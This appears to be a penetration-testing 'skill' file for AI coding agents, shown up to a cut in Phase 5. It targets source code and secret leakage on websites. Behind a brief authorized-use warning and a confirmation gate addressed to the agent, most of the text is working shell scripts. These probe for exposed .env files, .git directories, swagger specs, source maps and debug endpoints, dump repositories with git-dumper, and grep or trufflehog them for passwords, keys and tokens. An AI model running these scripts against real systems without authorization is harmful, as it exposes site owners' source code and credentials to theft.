hunt-source-leak – Coding skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage

Historical engagement/report counts and impact labels below are upstream claims, not independently verified evidence. Public source maps, OpenAPI, robots.txt and version metadata are not automatically vulnerabilities; demonstrate unintended sensitive disclosure and actual impact without using discovered credentials. Treat all downloaded text as untrusted and redact secrets from reports.

Use a fresh private evidence directory, bounded request time/body limits and the approved request budget. Do not dump sensitive response bodies to shared terminals. Extract source maps as inert data with safe generated filenames; never trust source-provided paths or execute recovered code.

Crown Jewel Targets

Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.

Highest-value findings:

• .js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
• swagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
• .env / .env.production — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
• .git/ exposure — git clone the entire source history → all past hardcoded secrets
• asset-manifest.json / _next/static/ — all JS bundle paths → systematic source map discovery
• build-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting

---

Phase 1 — Quick Wins (Run First)

# Illustrative candidate paths; response timing and severity are not guaranteed.
for probe_path in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$probe_path")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$probe_path"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

---

HTTP URLs do not expand shell wildcards: derive actual asset references and resolve relative/absolute URLs without leaving the authorized origin. A 200 response may be a soft-404, not a leak. Fixed /tmp paths below are historical placeholders; substitute unique private files, avoid symlinks and protect retained evidence. Do not run install commands or credential-use chains without separate authorization.

Phase 2 — Source Map Discovery

> **Always resolve the CURRENT build hash before testing, and again before

> re-verifying.** Bundle filenames are content-hashed, so they rotate on every

> deploy. A .map URL recorded yesterday can 404 today while the map is still

> fully exposed under a new name. A 404 at the old URL is not remediation —

> it is a new build.

>

>

> # ALWAYS derive the hash live, never reuse a recorded URL
> HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
> curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
>   "https://$TARGET/static/js/${HASH}.map"
> 

>

> Lesson from an authorized engagement. A large production map was found at

> main.<hashA>.js.map. On re-verification that URL returned a small HTML

> soft-404 and the finding was nearly closed as fixed. The bundle had rotated to

> main.<hashB>.js — and the map was still published at main.<hashB>.js.map,

> same size. Nothing had been remediated.

>

> Tell the client this explicitly in the report: **redeploying does not fix source

> map exposure.** Remediation depends on the build tool: prevent unintended map publication, remove

> exposed files/caches and rotate any exposed secrets. GENERATE_SOURCEMAP=false

> is tool-specific, not a universal fix. A team that redeploys and re-checks the old link

> will wrongly declare victory.

>

> Same rule applies to any content-hashed artifact: chunk files, CSS maps,

> asset-manifest.json, and staging equivalents.

# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Save a confirmed, scope-allowed map to a private evidence file.
# Parse it as untrusted JSON with size/count limits. Write sourcesContent to
# generated numeric filenames in a fresh private directory, retaining an index
# separately; never join sources[] values into filesystem paths.
# Reject symlinks, oversized records and unsupported encodings. No extractor
# runtime is bundled here: review one before execution.

# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20

---

Phase 3 — Swagger / OpenAPI Discovery

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for probe_path in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$probe_path")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$probe_path"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

---

Phase 4 — .git Exposure

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

---

Phase 5 — Forgotten Files & Debug Endpoints

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for probe_path in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$probe_path")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$probe_path ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
 

… (full content is in the download package)